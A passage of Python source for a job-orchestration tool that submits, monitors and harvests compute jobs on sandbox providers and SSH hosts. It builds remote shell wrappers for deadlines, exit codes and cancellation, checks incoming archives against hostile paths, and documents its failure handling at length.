shutil.copy2(src_path, work / dst) tgz = stage / "in.tar.gz" with tarfile.open(tgz, "w:gz") as tf: tf.add(work, arcname=".") return tgz def _submit_byoc( self, pid: str, kw: dict, *, trusted_version_paths: dict[str, str] | None = None, ) -> dict: prov = self._byoc(pid) self._confinement_gate(pid) creds = self._provider_creds(prov) input_versions = _declared_input_versions(kw.get("inputs")) job_id = self._claim( f"byoc:{pid}", kw.get("idempotency_key"), kw.get("outputs"), input_versions, ) timeout_s = int(kw.get("timeout_seconds") or 14400) sid: str | None = None try: with tempfile.TemporaryDirectory(prefix="openai4s-byoc-stage-") as td: stage = Path(td) # 1. create (or reuse) the sandbox. sid = self._sandboxes.get(pid) or kw.get("reuse_job_id") if not sid or not self._sandboxes.get(pid): spec = (kw.get("provider_params") or {}).get(pid, {}) tags = { "openai4s-session": self._install_id, "openai4s-job": job_id, } rep = self._run_helper( prov, "create", {"spec": spec, "tags": tags, "app_name": "openai4s"}, creds, stage, expect_confined=False, ) sid = rep["sandbox_id"] self._sandboxes[pid] = sid # Stamp the container's expiry the moment it exists, so a # later job reusing it inherits the time already spent. lifetime = _sandbox_lifetime_s(spec) if lifetime > 0: self._sandbox_deadlines[pid] = time.time() + lifetime else: self._sandbox_deadlines.pop(pid, None) # 2. stage inputs then submit. self._stage_inputs( stage, kw.get("inputs"), kw["command"], timeout_s, trusted_version_paths=trusted_version_paths, ) # The wrapper implements a watchdog that stops the job with # `harvest_margin_s` to spare so its outputs can still be # staged, and the helper forwards these straight through — but # nothing on the host ever produced them, so the watchdog was # never armed and a container could be reclaimed mid-job, # taking the results with it. deadline = self._sandbox_deadlines.get(pid) submit_req: dict[str, Any] = { "sandbox_id": sid, "timeout": timeout_s, "harvest_margin_s": HARVEST_MARGIN_S, "term_grace_s": TERM_GRACE_S, } if deadline: submit_req["sandbox_deadline_epoch"] = int(deadline) self._run_helper(prov, "submit", submit_req, creds, stage) except BaseException as exc: # Without this the row stays at `staging` forever: no terminal # state, no event, and -- worse -- a sandbox the provider may # already be billing for, whose id lived only in the in-memory # `_sandboxes` map and vanished with the process. The ssh arm has # had this discipline since it was written (see `_submit_ssh`); # the byoc arm never did. self._fail_submit(job_id, exc, provider=f"byoc:{pid}", sandbox_id=sid) raise # The sandbox id is the receipt — what reconcile/terminate need to reach # this work after a restart, and what stops an orphaned sandbox from # billing unnoticed. Persist it to the ledger BEFORE memory believes the # job is cleanly running (ledger-before-memory, as `_commit_terminal`), # and do not swallow a dropped write: a live sandbox reported as clean # `running` over a `staging` row with no receipt is the exact orphan the # failure path was already hardened against. landed = self._persist_receipt( job_id, status=states.RUNNING, sandbox_id=sid, receipt=sid, submitted_at=_now_ms(), ) if not landed: return self._degrade_submit_to_indeterminate( job_id, provider=f"byoc:{pid}", sandbox_id=sid, reason="submit succeeded but the receipt could not be persisted", extra_return={"egress": prov["meta"].get("egress")}, ) with self._lock: self._jobs[job_id] = { "job_id": job_id, "provider": f"byoc:{pid}", "sandbox_id": sid, "status": "running", "outputs": kw.get("outputs"), "input_versions": input_versions, "creds": bool(creds), } self._event(job_id, "submitted", {"sandbox_id": sid}) return { "job_id": job_id, "status": "running", "concurrency": {"live": self._live_count(), "limit": self._limit}, "egress": prov["meta"].get("egress"), } # --- ssh -------------------------------------------------------------- def _submit_ssh(self, alias: str, kw: dict) -> dict: if kw.get("inputs"): raise ComputeError( "staged inputs are not supported by the ssh transport; upload " "them explicitly before submit rather than running without them", "invalid_request", ) job_id = self._claim( f"ssh:{alias}", kw.get("idempotency_key"), kw.get("outputs") ) workdir = f"~/.openai4s-jobs/{job_id}" script = kw["command"] # The job body runs under a wrapper whose only added responsibility is # to record the terminal exit code. Without a .rc on disk a finished # job is indistinguishable from a killed one, and _result_ssh has no # honest state to report — so this write is what makes a *failed* ssh # job observable at all. It lands via .rc.tmp + mv so a reader never # sees a half-written code (mv is atomic within one filesystem). # A deadline the job actually carries. `timeout_seconds` was accepted # and then never read, so an ssh job ran until the host reclaimed it. # `timeout` is asked for by name rather than assumed: a host without it # would otherwise silently run an unbounded job while the caller # believes a limit is in force. timeout_s = int(kw.get("timeout_seconds") or 0) body = "bash run.sh" marker = "" if timeout_s > 0: # -k gives the job a grace period to flush before SIGKILL. # `gtimeout` is the same binary under the name Homebrew's coreutils # installs, so a macOS host is not silently denied a deadline. body = ( "_o4s_to=$(command -v timeout || command -v gtimeout); " f'"$_o4s_to" -k 10 -s TERM {timeout_s} bash run.sh' ) # The deadline writes its OWN marker, and the host reads that # marker rather than sniffing the exit code. `timeout` reports # expiry as 124, but 124 is also just a number a command may exit # with — and with no deadline armed at all, a plain `exit 124` was # being reported to the user as `timed_out`, sending them to look # for a walltime that was never set. The wall-clock test is what # separates "the deadline fired" from "the command happened to # return the same code": only a run that reached its budget can # have been ended by it. (A command that exits 124 in the final # second of its own budget remains indistinguishable; that is # inherent, and is the same contract the byoc wrapper documents.) marker = ( f'if {{ [ "$rc" -eq {_TIMEOUT_EXIT_CODE} ] || [ "$rc" -eq 137 ]; }} ' f'&& [ "$_o4s_wall" -ge {max(timeout_s - 1, 0)} ]; ' f"then : > .timeout; fi; " ) # The job records its own identity before it does anything else. # `$!` is a pid, and in the non-interactive login shell that `ssh host # cmd` actually gets — dash, ash, or bash without job control — it is # NOT the process group id: `set -m` does not enable job control there, # so the background job simply inherits the login shell's group. # Cancellation signalled `-$!`, found no such group, and on several # shells still exited 0 — reporting a freed allocation over a command # tree that kept running. Reading the real pgid back off the host is # the only thing that makes the group we signal verifiable. inner = ( "_o4s_pg=$(ps -o pgid= -p $$ 2>/dev/null | tr -d ' \\t\\n'); " 'printf "%s %s" "$$" "$_o4s_pg" > .pgid.tmp; mv -f .pgid.tmp .pgid; ' "_o4s_t0=$(date +%s); " f"{body} > stdout.log 2> stderr.log; rc=$?; " "_o4s_wall=$(( $(date +%s) - _o4s_t0 )); " f"{marker}" # .rc last: a reader that sees an exit code can trust every marker # beside it is already settled. 'printf "%s" "$rc" > .rc.tmp; mv -f .rc.tmp .rc' ) # setsid puts the job in a session of its own, so the group we signal # contains the job and nothing else. It is absent on stock macOS, which # is why it is probed rather than required — the read-back above is # what makes cancellation correct either way. # # The braces are load-bearing. `&` binds looser than `&&`, so # `mkdir && cd && cat > run.sh && nohup ... & echo $!` makes the WHOLE # and-list asynchronous — and POSIX assigns an async list's stdin to # /dev/null. `cat` then read nothing, run.sh was written empty, and # `bash run.sh` exited 0 without ever running the job. Grouping keeps # `&` scoped to the nohup alone, so `cat` stays in the foreground and # actually receives the script over the ssh channel. # Checked before anything is written, so a host without it fails the # submit loudly instead of running an unbounded job while the caller # believes a limit is in force. guard = ( "{ command -v timeout >/dev/null 2>&1 || " "command -v gtimeout >/dev/null 2>&1; } || " "{ echo 'openai4s: neither timeout(1) nor gtimeout(1) is on this " "host, so timeout_seconds cannot be honoured' >&2; exit 127; } && " if timeout_s > 0 else "" ) launch = ( "_o4s_ss=; command -v setsid >/dev/null 2>&1 && _o4s_ss=setsid; " f"nohup $_o4s_ss bash -c {shlex.quote(inner)} >/dev/null 2>&1 & " "_o4s_bg=$!; _o4s_n=0; " 'while [ ! -s .pgid ] && [ "$_o4s_n" -lt 10 ]; do ' "sleep 1; _o4s_n=$(( _o4s_n + 1 )); done; " "set -- $(cat .pgid 2>/dev/null); " f'printf "{_SSH_SUBMIT_TAG} %s %s\\n" "${{1:-$_o4s_bg}}" "${{2:-}}"' ) remote = ( f"mkdir -p {workdir} && cd {workdir} && " f"{guard}" f"cat > run.sh && rm -f .rc .rc.tmp .pgid .pgid.tmp .timeout && " f"{{ {launch}; }}" ) try: proc = _run_capped( self._ssh_argv(alias, remote), input=script.encode("utf-8"), timeout=60, ) except (subprocess.TimeoutExpired, OSError) as e: # We do not know whether the remote shell ran. The claim row stays # at `staging` with the workdir recorded, which is what makes this # reconcilable instead of an orphan. self._persist( job_id, status=states.UNKNOWN, workdir=workdir, reason=str(e), termination_reason=states.REASON_SUBMIT_INDETERMINATE, ) self._track_live( job_id, f"ssh:{alias}", states.UNKNOWN, alias=alias, workdir=workdir, termination_reason=states.REASON_SUBMIT_INDETERMINATE, reason=str(e), ) self._event(job_id, "submit_indeterminate", {"error": str(e)}) raise ComputeError( f"ssh submit failed: {e}", "unknown_state", indeterminate=True ) if proc.returncode != 0: self._persist( job_id, status=states.FAILED, reason="ssh submit rejected", workdir=workdir, termination_reason=states.REASON_SUBMIT_REJECTED, terminal_at=_now_ms(), ) self._event(job_id, "submit_rejected", {"rc": proc.returncode}) raise ComputeError( proc.stderr.decode("utf-8", "replace") or "ssh submit failed", "transient", indeterminate=False, ) pid, pgid = _parse_ssh_submit_ack(proc.stdout.decode("utf-8", "replace")) if not pid: # The shell exited 0 but said nothing we can identify the job by. # Anything may be running out there under a pid we never learned. self._persist( job_id, status=states.UNKNOWN, workdir=workdir, reason="ssh submit produced no job acknowledgement", termination_reason=states.REASON_SUBMIT_INDETERMINATE, ) self._track_live( job_id, f"ssh:{alias}", states.UNKNOWN, alias=alias, workdir=workdir, termination_reason=states.REASON_SUBMIT_INDETERMINATE, reason="ssh submit produced no job acknowledgement", ) self._event(job_id, "submit_indeterminate", {"stdout": proc.stdout[:200]}) raise ComputeError( f"ssh submit to {alias} exited 0 without acknowledging a job " f"id; something may be running in {workdir}", "unknown_state", indeterminate=True, ) # The remote pid is the provider's receipt: evidence the job exists out # there, independent of anything this process chose to believe. Persist # it to the ledger BEFORE memory believes the job is cleanly running, # and do not swallow a dropped write — a running ssh job reported as # clean `running` over a `staging` row with no pid is unrecoverable # after a restart, the same orphan class the byoc arm just closed. landed = self._persist_receipt( job_id, status=states.RUNNING, alias=alias, workdir=workdir, pid=pid, pgid=pgid, receipt=pid, submitted_at=_now_ms(), ) if not landed: return self._degrade_submit_to_indeterminate( job_id, provider=f"ssh:{alias}", alias=alias, workdir=workdir, pid=pid, pgid=pgid, reason="submit succeeded but the receipt could not be persisted", extra_return={"remote_workdir": workdir}, ) with self._lock: self._jobs[job_id] = { "job_id": job_id, "provider": f"ssh:{alias}", "alias": alias, "workdir": workdir, "status": "running", "pid": pid, "pgid": pgid, "outputs": kw.get("outputs"), } self._event(job_id, "submitted", {"pid": pid, "pgid": pgid, "workdir": workdir}) return { "job_id": job_id, "status": "running", "remote_workdir": workdir, "concurrency": {"live": self._live_count(), "limit": self._limit}, } # --- result / harvest ------------------------------------------------- def result(self, kw: dict) -> dict: job_id = kw["job_id"] with self._lock: job = self._jobs.get(job_id) if job is None: raise ComputeError(f"no such job {job_id!r}", "not_found") fam, rest = self._split(job["provider"]) if fam == "ssh": result = self._result_ssh(job) else: result = self._result_byoc(job) enriched = dict(result) enriched.setdefault("job_id", job["job_id"]) enriched.setdefault("provider", job.get("provider")) enriched.setdefault( "receipt", job.get("receipt") or job.get("sandbox_id") or job.get("pid") ) enriched.setdefault( "remote_environment", job.get("alias") or job.get("provider"), ) enriched.setdefault("input_versions", list(job.get("input_versions") or [])) return enriched def _result_byoc(self, job: dict) -> dict: # Before the provider is dispatched at all, exactly as the ssh path # does. A byoc sandbox is *warm and reused*: submitting job B wipes # /work, so re-polling job A after B ran would harvest B's phase and # archive, publish those bytes under A's job id, and replace A's durable # manifest, digest and terminal timestamp with them. `wait` is also not # free — it blocks on the provider for a job that already ended. cached = self._stored_terminal_result(job, left_on_remote=False) if cached is not None: return cached prov = self._byoc(job["provider"].split(":", 1)[1]) creds = self._provider_creds(prov) with tempfile.TemporaryDirectory(prefix="openai4s-byoc-stage-") as td: stage = Path(td) rep = self._run_helper( prov, "wait", {"sandbox_id": job["sandbox_id"], "poll_seconds": 5}, creds, stage, ) if not rep.get("ready"): return { "status": "running", "job_id": job["job_id"], "hint": "job still running — call .result() again later", } exit_code = rep.get("job_exit_code") phase_err = rep.get("phase_read_error") if exit_code is None: # The helper reached a ready state but could not read a # terminal exit code out of .phase. Previously this fell # through to "done" because None is falsy — the single worst # false-success in this module. # # Not cached onto the job, for the same reason as the ssh path: # `unknown` is unresolved, not terminal, so a later poll must # stay free to resolve it. It also keeps the job inside # _live_count() — a job we cannot account for is conservatively # still occupying its slot, rather than freeing capacity we # have no evidence is free. return { "status": "unknown", "job_id": job["job_id"], "exit_code": None, "error_kind": "unknown_state", "reason": phase_err or "provider reported the job ready without a terminal exit code", "stdout_tail": rep.get("stdout_tail", ""), "stderr_tail": rep.get("stderr_tail", ""), "left_on_remote": False, "hint": ( "the job's outcome could not be established; treat any " "harvested output as unverified" ), } harvested: Path | None = None try: entries, harvested = self._harvest(job["job_id"], stage) harvest_error = None except UnsafeArchiveError as e: entries = [] harvest_error = str(e) # `entries` was built from the host-owned staging dir, so reconcile is # immune to a planted file. Only now is the verified tree published into # the workspace copy that `save_artifact` can reach. # # The `finally` is the ssh path's discipline applied here. A successful # publish renames the staging tree into `dest`, so the removal is a # no-op; a `_safe_harvest_dest` rejection or a publish failure would # otherwise strand the whole harvested tree under the data dir, one per # poll. (`_harvest` cleans up its own allocation when it raises before # returning, which is the other half of the same leak.) try: dest = self._safe_harvest_dest(job["job_id"]) if harvested is not None: self._publish_harvest(harvested, dest) finally: if harvested is not None: shutil.rmtree(harvested, ignore_errors=True) out_files = [str(dest / item["path"]) for item in entries] featured, missing = manifest.reconcile(entries, job.get("outputs")) featured_files = [str(dest / rel) for rel in featured] if rep.get("deadline_fired") or rep.get("job_timeout_fired"): status = states.TIMED_OUT elif exit_code == 0: status = states.SUCCEEDED else: status = states.FAILED # Exited 0 but nothing verifiable came back. Calling that a success is # the single worst outcome available here, so it is a failure with the # cause recorded rather than a status of its own. `phase_err` is the # wrapper's own tar/mv losing the outputs; `missing` is the job simply # not producing what it promised, which nothing checked before; and # `unverified_files` is a file that arrived but could not be read, so # there is no content hash standing behind it. unverified_files = manifest.unverified(entries) unverified = bool(phase_err or harvest_error or missing or unverified_files) if unverified and status == states.SUCCEEDED: status = states.FAILED notes = [] if missing: notes.append(f"declared outputs never arrived: {', '.join(missing)}") if unverified_files: notes.append( f"harvested but unreadable, so unverifiable: " f"{', '.join(unverified_files)}" ) conflict = self._commit_terminal( job, status, event=status, event_payload={"exit_code": exit_code}, exit_code=exit_code, terminal_at=_now_ms(), reason=phase_err or harvest_error or "; ".join(notes) or "", termination_reason=( states.REASON_OUTPUTS_UNVERIFIED if unverified else None ), artifact_manifest=entries, integrity_sha256=manifest.manifest_digest(entries), ) if conflict is not None: return self._terminal_conflict_result( job, status, conflict, out_files, entries ) job["exit_code"] = exit_code result = { "status": status, "exit_code": exit_code, "output_files": out_files, "featured_files": featured_files, "artifact_manifest": entries, "integrity_sha256": manifest.manifest_digest(entries), "stdout_tail": rep.get("stdout_tail", ""), "stderr_tail": rep.get("stderr_tail", ""), "job_wall_s": rep.get("job_wall_s"), "left_on_remote": False, } if phase_err: result["phase_read_error"] = phase_err if harvest_error: result["harvest_error"] = harvest_error result["error_kind"] = "unsafe_archive" if missing: result["unharvested_outputs"] = missing if unverified_files: result["unverified_files"] = unverified_files stay_remote = manifest.remote_patterns(job.get("outputs")) if stay_remote: # Stated rather than silently ignored. The provider wrapper tars # the whole `out/` tree from inside the sandbox, so this transport # cannot keep a declared file behind — and a caller who asked for # that has to hear it did not happen, not discover it later from a # file listing. result["residency_unenforced"] = { "patterns": stay_remote, "note": ( "residency: remote is enforced on the ssh transport; this " "provider archives the whole out/ directory in-sandbox, so " "these files were harvested anyway" ), } return result def _harvest(self, job_id: str, stage: Path) -> tuple[list[dict], Path | None]: """Unpack the remote's out.tar.gz and record it. Returns ``(entries, harvested)``: the manifest — path, size and sha256 per file — and the host-owned directory the bytes were extracted into, or ``None`` when there was nothing to harvest. The manifest is built from that host-owned directory, never the kernel-writable workspace, so a cell cannot plant a declared output and have it counted as produced. The caller publishes ``harvested`` into the workspace afterwards. Raises UnsafeArchiveError if the archive is hostile; the caller must treat that as a failed harvest, never a partial success — and gets no path back, which is why the allocation is cleaned up *here*. For a hostile archive (``../escape``) ``safe_extract_tar`` raises after the directory exists, and every poll would otherwise leave another ``/hpc-staging/job-*`` behind with nothing able to name it. """ tgz = stage / "out.tar.gz" if not tgz.exists(): # No archive at all. Previously this returned an empty list with no # error and the caller went on to call the job succeeded. return [], None harvested = self._host_staging_dir(job_id) try: safe_extract_tar(tgz, harvested) return manifest.build_manifest(harvested), harvested except BaseException: shutil.rmtree(harvested, ignore_errors=True) raise def _stored_terminal_result( self, job: dict, *, left_on_remote: bool = True ) -> dict | None: """Reconstruct a terminal job's result from its recorded evidence. A job that has already ended must not be re-harvested: `result()` re-runs on every poll, and a re-poll after the remote workdir changed would overwrite the original ``artifact_manifest`` / ``integrity_sha256`` / reason / ``terminal_at`` with whatever the later poll happened to see. The stored row describes the bytes that established the outcome, so a re-poll returns it unchanged rather than recomputing it. The gate is the *ledger*, never ``job["status"]``. In-memory status is a cache of the row, and reading the cache first is what let the byoc path re-poll a job the ledger had already closed. ``left_on_remote`` is the one transport difference: the ssh workdir survives a harvest, the byoc sandbox's ``/work`` does not. """ if self._store is None: return None row = self._store.get_compute_job(job["job_id"]) if row is None or not states.is_terminal(row.get("status")): return None # Memory can lag the ledger — a restart, or another handle's cancel — # and every caller of this reports the row, so re-sync it here rather # than leaving `_live_count` counting a job that has ended. job["status"] = row["status"] if row.get("exit_code") is not None: job["exit_code"] = row["exit_code"] entries = row.get("artifact_manifest") or [] dest = self._safe_harvest_dest(job["job_id"]) featured, _missing = manifest.reconcile(entries, row.get("outputs")) result = { "status": row["status"], "exit_code": row.get("exit_code"), "output_files": [str(dest / item["path"]) for item in entries], "featured_files": [str(dest / rel) for rel in featured], "artifact_manifest": entries, "integrity_sha256": row.get("integrity_sha256"), "left_on_remote": left_on_remote, "cached": True, } if left_on_remote: result["remote_workdir"] = row.get("workdir") or job.get("workdir") if row.get("reason"): result["reason"] = row["reason"] return result def _result_ssh(self, job: dict) -> dict: # Already terminal: return the recorded evidence rather than re-harvest # and overwrite it. The recorded outcome is authoritative. Asked of the # ledger unconditionally, not gated on the in-memory status, because the # in-memory copy is the thing that can be stale. cached = self._stored_terminal_result(job) if cached is not None: return cached alias, workdir = job["alias"], job["workdir"] pid = job.get("pid") or "" # Probe ordering matters. `kill -0` is asked first because the wrapper # writes .rc *before* it exits: a live pid is authoritatively running, # and a dead pid means .rc is already durable if it will ever be. The # reverse order would race a just-finished job into `unknown`. # The `.timeout` marker rides back with the exit code: the wrapper # writes it only when the deadline it was given is what ended the run, # so the host never has to infer a walltime kill from the number 124 — # which a command is free to exit with on its own, deadline or not. probe = ( f"if kill -0 {shlex.quote(pid)} 2>/dev/null; then echo RUNNING; " f"elif [ -f {workdir}/.rc ]; then " f'printf "RC %s %s\\n" "$(cat {workdir}/.rc)" ' f'"$([ -f {workdir}/.timeout ] && echo TIMEOUT || echo -)"; ' f"else echo NORC; fi" ) try: check = _run_capped(self._ssh_argv(alias, probe), timeout=30) except (subprocess.TimeoutExpired, OSError) as e: return self._ssh_unknown(job, f"status probe failed to run: {e}") if check.returncode != 0: # We never reached the host (network, auth, host down). The job's # real state is untouched by our inability to observe it, so this # is explicitly not a terminal answer. return self._ssh_unknown( job, "status probe exited " f"{check.returncode}: " f"{check.stderr.decode('utf-8', 'replace').strip() or 'no stderr'}", ) out = check.stdout.decode("utf-8", "replace").strip() if out == "RUNNING": return {"status": "running", "job_id": job["job_id"]} if out == "NORC": # The process is gone but left no exit code: OOM-killed, host # rebooted, or SIGKILLed. Reporting success here is exactly the # false-success this state exists to prevent. return self._ssh_unknown( job, "remote process is no longer alive but wrote no exit code " "(killed, evicted, or the host restarted)", ) parts = out.split() if len(parts) >= 2 and parts[0] == "RC": rc_text, timed_out = parts[1], (len(parts) > 2 and parts[2] == "TIMEOUT") else: # A job submitted before the marker existed still answers with a # bare exit code. Nothing claims a deadline fired for those. rc_text, timed_out = out, False try: exit_code = int(rc_text) except ValueError: return self._ssh_unknown(job, f"unparseable exit code {rc_text!r}") # Extract and hash under a host-owned staging dir, never the kernel- # writable workspace: a cell could otherwise plant `hpc//` # before polling and have `build_manifest` count it as a produced # output, so an exit-0 job was marked succeeded with forged bytes. staging = self._host_staging_dir(job["job_id"]) try: stay_remote = manifest.remote_patterns(job.get("outputs")) harvest_error, oversized, stayed, harvest_transient = self._harvest_ssh( alias, workdir, staging, stay_remote ) entries = manifest.build_manifest(staging) featured, missing = manifest.reconcile(entries, job.get("outputs")) unverified_files = manifest.unverified(entries) # The manifest is trusted (built from staging); publish it into the # workspace copy `save_artifact` can reach, replacing any planted # files. `result()` re-runs on every poll, including re-attaches after # a job is already terminal. Only replace the published tree when the # harvest *succeeded*: an empty-but-successful harvest legitimately # wipes planted files, but a re-poll whose scp/tar transiently failed # leaves `staging` empty, and clobbering a previously harvested, # verified tree with that would destroy the outputs. Retain the prior # tree unless this harvest succeeds. dest = self._safe_harvest_dest(job["job_id"]) if not harvest_error: self._publish_harvest(staging, dest) finally: # Host-owned scratch: a successful publish renames it into `dest` # (so this is a no-op), but a skipped or failed publish — including a # transient harvest error, now that we retain the prior tree — would # otherwise leak one directory under the data dir per poll/reattach, # or strand the full harvested tree on a rejected/swapped dest. shutil.rmtree(staging, ignore_errors=True) if timed_out: # The wrapper's own marker, not the exit code. `timeout` reports # expiry as 124, but so does any command that chooses to exit 124 — # and with no deadline armed at all there is nothing for a walltime # kill to have come from, so reading 124 as `timed_out` sent the # caller looking for a limit that was never set. status = states.TIMED_OUT elif exit_code == 0: status = states.SUCCEEDED else: status = states.FAILED if harvest_error and harvest_transient: # The probe read a real exit code, so the *job* is decided — but the # transfer is not, and committing a terminal state now would freeze # an empty manifest that the stored-terminal shortcut then returns # forever, with the archive and the workdir still on the remote. So # nothing terminal is written and the row stays live: the next poll # re-probes and re-harvests. The budget below is what stops a # permanently broken harvest from staying live indefinitely. pending = self._harvest_pending(job, exit_code, harvest_error, workdir) if pending is not None: return pending # Either the harvest succeeded or it failed definitively (or its retry # budget is spent), so the retry state has served its purpose. job.pop("harvest_retry_since", None) job.pop("harvest_retry_attempts", None) if harvest_error: # The job's own verdict is known and trustworthy; only our copy of # its files is incomplete. Keep the verdict, but never claim a # clean harvest we did not get. status = states.FAILED # A promise the harvest cannot account for — either the file never # arrived, or it arrived unreadable and so carries no hash. Reporting # success over either is the false success the manifest exists for. unaccounted = bool(missing or unverified_files) if unaccounted and status == states.SUCCEEDED: status = states.FAILED notes = [] if missing: notes.append( f"declared outputs were not harvested (still on " f"{alias}:{workdir}): {', '.join(missing)}" ) if unverified_files: notes.append( f"harvested but unreadable, so unverifiable: " f"{', '.join(unverified_files)}" ) conflict = self._commit_terminal( job, status, event=status, event_payload={"exit_code": exit_code}, exit_code=exit_code, terminal_at=_now_ms(), reason=harvest_error or "; ".join(notes) or "", termination_reason=( states.REASON_OUTPUTS_UNVERIFIED if (harvest_error or unaccounted) else None ), artifact_manifest=entries, integrity_sha256=manifest.manifest_digest(entries), ) if conflict is not None: return self._terminal_conflict_result( job, status, conflict, [str(dest / item["path"]) for item in entries], entries, ) job["exit_code"] = exit_code result = { "status": status, "exit_code": exit_code, "output_files": [str(dest / item["path"]) for item in entries], "featured_files": [str(dest / rel) for rel in featured], "artifact_manifest": entries, "integrity_sha256": manifest.manifest_digest(entries), "remote_workdir": workdir, # The workdir itself is never deleted by a poll, so the originals # are still there — but the declared outputs are now here too. "left_on_remote": True, } left_behind = [ {"path": rel, "uri": f"{alias}:{workdir}/{rel}", "reason": "threshold"} for rel in oversized ] + [ {"path": rel, "uri": f"{alias}:{workdir}/{rel}", "reason": "residency"} for rel in stayed ] if left_behind: result["left_on_remote_files"] = left_behind if harvest_error: result["harvest_error"] = harvest_error if missing: result["unharvested_outputs"] = missing if unverified_files: result["unverified_files"] = unverified_files return result def _harvest_pending( self, job: dict, exit_code: int, reason: str, workdir: str ) -> dict | None: """Hold a decided job open while its harvest is still retryable. Returns the non-terminal answer to give the caller, or ``None`` once the budget is spent and the caller should record ``failed`` after all. The budget is two conditions, both of which must be met before giving up: a minimum number of attempts *and* a minimum elapsed wall-clock. Attempts alone are the wrong unit — a caller polling every five seconds would burn three of them inside a fifteen-second network blip — and elapsed time alone lets a single unlucky poll decide. Together they mean "we kept asking, for long enough, and it never came back". The counters live in memory only. A restart hands the job a fresh budget, which errs towards retrying a harvest whose bytes are still on the remote; the row stays live either way, so ``reconcile`` keeps surfacing it rather than it being silently forgotten. """ now = _now_ms() since = int(job.setdefault("harvest_retry_since", now)) attempts = int(job.get("harvest_retry_attempts", 0)) + 1 job["harvest_retry_attempts"] = attempts elapsed_s = max(0, now - since) / 1000.0 if ( attempts >= HARVEST_RETRY_MIN_ATTEMPTS and elapsed_s >= HARVEST_RETRY_WINDOW_S ): self._event( job["job_id"], "harvest_retry_exhausted", {"attempts": attempts, "elapsed_s": round(elapsed_s, 1)}, ) return None # Bookkeeping, not a state change: `_persist` never writes a status, so # the row keeps whichever live state it holds and only gains a reason # that `reconcile` and the job history can show. self._persist(job["job_id"], reason=f"harvest pending: {reason}") self._event( job["job_id"], "harvest_retry", {"attempt": attempts, "exit_code": exit_code, "reason": reason}, ) return { "status": "unknown", "job_id": job["job_id"], "exit_code": exit_code, "error_kind": "harvest_pending", "reason": reason, "remote_workdir": workdir, "left_on_remote": True, "harvest_retry": { "attempts": attempts, "elapsed_s": round(elapsed_s, 1), "gives_up_after_s": HARVEST_RETRY_WINDOW_S, }, "hint": ( f"the remote job finished (exit {exit_code}) but its outputs " f"could not be transferred: {reason}. The archive and " f"{workdir} are still on the host — poll again; this is not a " f"verdict on the job and nothing terminal has been recorded" ), } def _ssh_unknown(self, job: dict, reason: str) -> dict: """Terminal-shaped answer for a job whose real state we cannot observe. `unknown` is deliberately distinct from `failed`: the job may well have succeeded. It means *we have no evidence either way*, and the caller must reconcile rather than assume. It is never cached onto the job, so a later poll can still resolve it. """ return { "status": "unknown", "job_id": job["job_id"], "exit_code": None, "error_kind": "unknown_state", "reason": reason, "remote_workdir": job.get("workdir"), "left_on_remote": True, "hint": ( "the remote job's outcome could not be established — inspect " f"{job.get('workdir')} on the host before re-submitting, as " "the original job may still have run to completion" ), } def _harvest_ssh( self, alias: str, workdir: str, dest: Path, exclude_patterns: list[str] | None = None, ) -> tuple[str | None, list[str], list[str], bool]: """Pull the job's whole work directory back. Returns ``(error, oversized, stayed, transient)``: an error string or None, the relative paths left behind for being over the per-file ceiling, the ones left behind because the caller declared ``residency: remote``, and whether the error was a *transport* failure rather than a verdict about the archive. That last flag is not cosmetic. The job's own outcome and our ability to copy its files back are separate facts, and collapsing them wrote a terminal ``failed`` with an empty manifest whenever a transfer timed out or a connection reset — after which the terminal-evidence shortcut returned that row forever, though the archive and the work directory were still sitting on the remote. A transient error therefore reports itself as one, and the caller retries instead of recording a verdict. This used to copy ``stdout.log`` and ``stderr.log`` and nothing else, while ``submit_job`` accepted an ``outputs`` declaration and the bundled skill's worked example declares one. Every declared pattern therefore matched nothing, ``reconcile`` reported it missing, and a job that had exited 0 having written exactly what it promised was forced to ``failed``. The documented submit → poll → harvest path could not succeed at all on this transport. The archive is built remotely and extracted through the same hostile-input-safe extractor the byoc path uses, because the bytes come from a machine we do not control either way. """ patterns = list(exclude_patterns or []) script = _ssh_harvest_script(workdir, HARVEST_MAX_FILE_BYTES, patterns) try: proc = _run_capped(self._ssh_argv(alias, script), timeout=300) except (subprocess.TimeoutExpired, OSError) as e: return f"harvest failed to run on {alias}: {e}", [], [], True if proc.returncode != 0: # 255 is ssh's own "I never reached the host"; every other code came # back *from* the staging script, which means the remote answered # and gave its verdict (3 is its "the work directory is gone"). Only # the former is worth retrying. return ( ( f"harvest staging exited {proc.returncode} on {alias}: " f"{proc.stderr.decode('utf-8', 'replace').strip() or 'no stderr'}" ), [], [], proc.returncode == 255, ) marker, oversized, stayed, archive_bytes = _parse_harvest_ack( proc.stdout.decode("utf-8", "replace") ) if marker == "empty": # The job wrote nothing at all. That is a fact about the job, not a # transport failure; `reconcile` decides whether it is acceptable. return None, oversized, stayed, False if marker != "archive": # The script exited 0, so it *did* run — it simply did not # acknowledge an archive. Repeating it produces the same answer. # # ...unless the ack was there and we stopped reading before it: a # remote noisy enough to blow the stdout cap is a different fact # from a work directory that vanished, and reporting the second for # the first sends someone to look for a directory that is fine. if proc.stdout_truncated: return ( ( f"harvest acknowledgement was not found within the first " f"{_REMOTE_STDOUT_CAP} bytes of stdout from {alias}; the " f"remote wrote more than that (a login profile or forced " f"command, most likely) and the rest was discarded " f"unread. Quieten the remote's non-interactive shell" ), oversized, stayed, False, ) return ( ( f"harvest produced no acknowledgement on {alias}; " f"the work directory may be gone" ), oversized, stayed, False, ) if archive_bytes is not None and archive_bytes > HARVEST_MAX_ARCHIVE_BYTES: # Refuse before scp writes anything: the compressed archive alone # would exceed the local disk cap, and safe_extract_tar's limits only # apply after the whole thing has already landed. self._cleanup_remote_archive(alias, workdir) # Definitive: the same archive is what the next poll would find, so # retrying only repeats the refusal. return ( f"harvest archive is {archive_bytes} bytes on {alias}, over the " f"{HARVEST_MAX_ARCHIVE_BYTES}-byte download cap; refusing to pull " f"it. Declare fewer or smaller outputs, or use residency: remote.", oversized, stayed, False, ) with tempfile.TemporaryDirectory(prefix="openai4s-ssh-harvest-") as td: local = Path(td) / "harvest.tar.gz" try: self._fetch_archive_capped( alias, workdir, local, HARVEST_MAX_ARCHIVE_BYTES ) except ComputeError as e: # A stalled or reset transfer is `transient`; blowing the cap # mid-transfer is `unsafe_archive` and is a verdict, not a blip. return str(e), oversized, stayed, e.error_kind == "transient" if not local.is_file(): return ( f"harvest archive never arrived from {alias}", oversized, stayed, True, ) try: safe_extract_tar(local, dest) except UnsafeArchiveError as e: # A hostile archive is a fact about the archive. return f"harvest archive rejected: {e}", oversized, 